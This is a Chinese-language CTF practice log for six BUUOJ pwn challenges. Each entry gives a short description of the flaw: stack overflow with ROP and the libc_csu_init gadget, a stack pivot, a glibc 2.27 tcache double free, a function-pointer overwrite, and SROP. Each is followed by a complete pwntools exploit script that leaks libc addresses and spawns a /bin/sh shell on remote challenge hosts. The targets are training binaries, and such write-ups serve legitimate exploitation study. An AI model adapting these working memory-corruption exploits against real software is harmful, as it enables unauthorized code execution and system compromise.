CISCN-BUU刷题记录1

1.ciscn_2019_c_1:栈溢出,调用打印函数泄露地址,万能gadget,ROP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./ciscn_2019_c_1"
#libc.so = "./libc-2.24.so"


sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
rl = lambda :io.recvline()
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)


'''
#malloc_hook,main_aren Find
python2 LibcOffset.py libc-2.23.so
'''


local = 0
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
#libc = ELF(libc.so)
else:
p = remote("node3.buuoj.cn","28337")
elf = ELF(binary)
#libc = ELF(libc.so)

menu = "choice!\n"
pop_rdi=0x400c83
ret=0x4006b9
main=elf.sym['main']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
encrypt_addr = 0x4009A0

u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
log.info("u_gadget1:0x%x"%u_gadget1)
log.info("u_gadget2:0x%x"%u_gadget2)

payload = ""
payload += "\x00"
payload = payload.ljust(0x58,'A')
payload += p64(u_gadget1) #使用万能gadgets调用puts泄露地址
payload += p64(0x0)
payload += p64(0x1) #rbp,随便设置
payload += p64(puts_got)
payload += p64(0x8)
payload += p64(puts_got) #从该got表泄露地址
payload += p64(puts_got)
payload += p64(u_gadget2)
payload += 'A'*0x38 #栈修正
payload += p64(encrypt_addr)
#返回到function处,通常返回程序最开始来重新运行程序好再进行布置

#payload='\0'+'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)

ru(menu)
sl('1')
sl(payload)
ru('Ciphertext\n')
ru('\n')
puts_addr = u64(rc(6).ljust(8,'\x00'))
log.info("puts:0x%x"%u_gadget2)

obj = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - obj.dump('puts')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
log.info("binsh_addr:0x%x"%binsh_addr)


payload='\x00'+'a'*(0x50-1+8)+ p64(ret) + p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)

sl(payload)
p.interactive()

2.ciscn_2019_es_2:32位栈溢出,溢出长度不够。泄露栈地址,用ebp将栈迁移到上层函数的栈中,利用上层函数余下的汇编代码实现常规的栈溢出操作system+binsh来getshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *

#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./ciscn_2019_es_2"
#libc.so = "./libc-2.24.so"
#libc.so = ""

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

#libcsearcher use
'''
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 0
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
#libc = ELF(libc.so)
else:
p = remote("node3.buuoj.cn","28784")
elf = ELF(binary)
#libc = ELF(libc.so)

system_plt = elf.plt['system']

ru("name?\n")
payload1 = ""
payload1 += "A"*(0x24)+"B"*0x4
p.send(payload1)
ru("BBBB")
stack_addr = u32(rc(4))
ebp_addr = stack_addr-0x10
log.info("ebp_addr:0x%x"%ebp_addr)

payload2 = p32(ebp_addr-0x28+0x8) #0
#payload2 += p32(ebp_addr-0x40)
payload2 += p32(system_plt) #4
payload2 += p32(0x11111111) #padding
payload2 += p32(ebp_addr-0x28 + 20) #8 binsh_addr
payload2 += p32(ebp_addr) #12
payload2 += "/bin/sh\x00" #16
payload2 = payload2.ljust(0x28,"A")
payload2 += p32(ebp_addr-0x24) #old ebp
pause()
p.send(payload2)


p.interactive()

3.ciscn_2019_final_3:free之后指针未置空,且该2..27版的tcache存在dup漏洞。利用程序泄露堆地址,再利用dup控tcache结构体。修改一个Chunk的size域或者直接Free掉程序最开始自带的一个chunk,使其进入unsortedbin。然后在控tcache,再利用add函数泄露libc地址,改free_hook为system,free(binsh)一步getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
# -*- coding:UTF-8 -*-
from pwn import *
#from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')


binary = "./ciscn_final_3"
libc_file= "./libc.so.6"
#libc.so = ""

#libcsearcher use
'''
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 1
if local:
#p = process(binary)
p = process(binary, env={"LD_PRELOAD":"./libc.so.6"})
#elf = ELF(binary)
libc = ELF(libc_file)
else:
p = remote("node3.buuoj.cn","25451")
elf = ELF(binary)
libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = "choice > "


def add(idx, size, context):
sla(menu, "1")
sla("input the index\n", str(idx))
sla("input the size\n", str(size))
sa("now you can write something\n", context)

def delete(idx):
sla(menu, "2")
sla("input the index\n", str(idx))

# def show(idx):
# sla(menu, "3")
# sla("input index:", str(idx))

# def edit(idx, num, name, con):
# sla(menu, "4")
# sla("input index:", str(idx))
# sla("phone number:", str(num))
# sa("name:", name)
# sa("des info:", con)

barray = 0x11c10

add(0,0x18,"A"*0x18)

ru("gift :")
chunk0_addr = int(rc(14)[2:14],16)-0x10
heap_base = chunk0_addr - 0x11e60
barry_addr = heap_base+0x2d0
log.info("heap_base:0x%x"%heap_base)
delete(0)

add(1,0x28,"A"*0x8) #1
delete(1) #tcache(0x78):1
delete(1) #tcache(0x78):1->1

add(2,0x28,p64(chunk0_addr-0x11c10+0x10)) #tcache(0x78):1->barry
add(3,0x28,"A") #tcache(0x78):barry
add(4,0x28,"barry")
delete(4)


add(5,0x78,"B"*0x8) #5
delete(5) #tcache(0x78):5
delete(5) #tcache(0x78):5->5
add(6,0x78,p64(heap_base+0x10)) #tcache(0x78):5->heap_base+0x10
add(7,0x78,"B"*0x8) #tcache(0x78):heap_base+0x10

add(8,0x78,"\x07"+"\x00"+"\x02"+"\x00"+"\x00"+"\x00"+"\x03"+ "\x00"*0x39+
p64(0x0)+ #0x20
p64(0x0)+ #0x30
p64(barry_addr+0x10)+ #0x40
p64(0x0)+ #0x50
p64(0x0)+ #0x60
p64(0x0)+ #0x70
p64(heap_base+0x10)) #0x80
add(9,0x38,"\x78")
pause()
add(10,0x38,"\xb0")
ru("gift :")
libc_base = int(rc(14)[2:14],16) - 0x3ebc40 - 88 -8
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
log.info("libc_base:0x%x"%libc_base)
log.info("free_hook:0x%x"%free_hook)

add(11,0x78,"\x01"+"\x00"+"\x02"+"\x00"+"\x00"+"\x00"+"\x03"+ "\x00"*0x39+
p64(free_hook)+ #0x20
p64(0x0)+ #0x30
p64(barry_addr+0x10)+ #0x40
p64(0x0)+ #0x50
p64(0x0)+ #0x60
p64(0x0)+ #0x70
p64(heap_base+0x10)) #0x80
pause()
add(12,0x18,p64(system_addr))
add(13,0x58,"/bin/sh\x00")
pause()
delete(13)
pause()
p.interactive()

4.ciscn_2019_n_3:没啥漏洞,就是程序本身问题,str为结构体型chunk,int为正常chunk,且chunk中存在函数指针,可以通过一定堆布局修改函数指针,改成system再加bash即可getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')


binary = "./ciscn_2019_n_3"
#libc.so = "./libc-2.24.so"
#libc.so = ""
#libcsearcher use
'''
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 0
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
#libc = ELF(libc.so)
else:
p = remote("node3.buuoj.cn","25896")
elf = ELF(binary)
#libc = ELF(libc.so)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = "CNote > "


def add(idx, Type, length, value):
sla(menu, "1")
sla("Index > ", str(idx))
sla("Type > ", str(Type))
if Type == 1:
sla("Value > ", value)
if Type == 2:
sla("Length > ", str(length))
sla("Value > ", value)

def delete(idx):
sla(menu, "2")
sla("Index > ", str(idx))

def show(idx):
sla(menu, "3")
sla("Index > ", str(idx))

# def edit(idx, num, name, con):
# sla(menu, "4")
# sla("input index:", str(idx))
# sla("phone number:", str(num))
# sa("name:", name)
# sa("des info:", con)

#without stripped
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
main_addr = elf.sym['main']

add(0,2,0x88,'A'*10)
add(1,2,0x38,'A'*10)
add(2,1,24,'1')
delete(1)
delete(2)

add(3,2,0xc,'dash'+ p32(system_plt))
add(4,2,0x38,'BBBB')
pause()
delete(1)
p.interactive()
pause()

5.ciscn_2019_n_5:栈溢出,泄露地址ROP。没开NX,shellcode也行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *

#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./ciscn_2019_n_5"
#libc.so = "./libc-2.24.so"
#libc.so = ""

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)


'''
#malloc_hook,main_aren Find
python2 LibcOffset.py libc-2.23.so
'''


'''
#without stripped
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
'''


local = 0
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
#libc = ELF(libc.so)
else:
p = remote("node3.buuoj.cn","26514")
elf = ELF(binary)
#libc = ELF(libc.so)


puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = elf.sym['main']

pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64

#ret = 0x4004c9
#pop_rdi_ret = 0x400713

payload = ""
payload += "A"*0x28
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)


ru("name\n")
pause()
sl(p64(0x0010000))
ru("me?\n")
sl(payload)
puts_addr = u64(rc(6).ljust(8,'\x00'))
log.info("puts_addr:0x%x"%puts_addr)
#libcsearcher use
obj = LibcSearcher("puts", puts_addr)
libc_base = puts_addr-obj.dump('puts')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
log.info("binsh_addr:0x%x"%binsh_addr)

payload = ""
payload += "A"*0x28
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(main_addr)


ru("name\n")
pause()
sl(p64(0x0010000))
ru("me?\n")
sl(payload)
p.interactive()

6.ciscn_s_3:栈溢出,利用SROP,栈迁移,常规getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *

#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./ciscn_s_3"
#libc.so = "./libc-2.24.so"
#libc.so = ""

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

#libcsearcher use
'''
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 1
if local:
p = process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(binary)
#libc = ELF(libc.so)
else:
p = remote("node3.buuoj.cn","28198")
elf = ELF(binary)
#libc = ELF(libc.so)

main_addr = elf.sym['main']
gadget_rax_0xf = 0x4004DA
syscall_addr = 0x400517

payload1 = ""
payload1 += "A"*0x10
payload1 += p64(main_addr)
p.sendline(payload1)
stack_addr = u64(rc(0x30)[32:40].ljust(8,'\x00'))
log.info("stack_addr:0x%x"%stack_addr)

binsh_addr = 0x601030

frame_read = SigreturnFrame() #设置read的SROP帧
frame_read.rax = constants.SYS_read
frame_read.rdi = 0
frame_read.rsi = binsh_addr
frame_read.rdx = 0xf
frame_read.rsp = stack_addr-280 + 0xf8
frame_read.rip = syscall_addr

log.info("frame_read_addr:0x%x"%(stack_addr-280))


frame_execve = SigreturnFrame()
frame_execve.rax = constants.SYS_execve
frame_execve.rdi = binsh_addr
frame_execve.rip = syscall_addr

payload2 = ""
payload2 += "A"*0x10
payload2 += p64(gadget_rax_0xf)
payload2 += p64(syscall_addr)
payload2 += str(frame_read)
payload2 += p64(syscall_addr)
payload2 += str(frame_execve)
pause()
p.sendline(payload2)
pause()
p.sendline("/bin/sh\x00".ljust(0xf,'A'))
p.interactive()

▲需要注意的是:

syscall一般后面都有ret,所以在sigreturn_frame之后如果还需要调用其他的sigreturn_frame或者其他函数,都是需要在上一个sigreturn_frame中设置rsp,使得ret正常执行。

①如果下一步还是sigreturn_frame,则将上一个的rsp设置为指向syscall_ret_addr的栈地址。

②如果下一步是其他函数,则需设置对应指向函数地址的栈地址。

(而以上的设置通常需要结合栈劫持来操作,数据可控比较方便,不用还得从原始栈上找对应的函数地址或者syscall_ret_addr)